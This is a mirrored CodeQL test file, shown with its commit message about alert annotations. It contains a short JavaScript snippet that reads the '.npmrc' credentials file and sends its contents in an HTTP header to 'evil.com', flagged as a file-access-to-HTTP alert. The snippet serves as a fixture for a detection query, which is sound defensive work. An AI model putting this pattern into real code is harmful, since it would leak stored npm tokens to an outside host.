mirror of
https://github.com/github/codeql.git
synced 2026-07-20 02:38:23 +02:00
10a7294327
This adds Alert annotations for alerts that seem intentional by the test but has not been annotated with 'NOT OK', or the comment was in the wrong place. In a few cases I included 'Source' expectations to make it easier to see what happened. Other 'Source' expectations will be added in bulk a later commit.
11 lines
258 B
JavaScript
11 lines
258 B
JavaScript
var fs = require("fs"),
|
|
https = require("https");
|
|
|
|
var content = fs.readFileSync(".npmrc", "utf8");
|
|
https.get({
|
|
hostname: "evil.com",
|
|
path: "/upload",
|
|
method: "GET",
|
|
headers: { Referer: content }
|
|
}, () => { }); // $ Alert[js/file-access-to-http]
|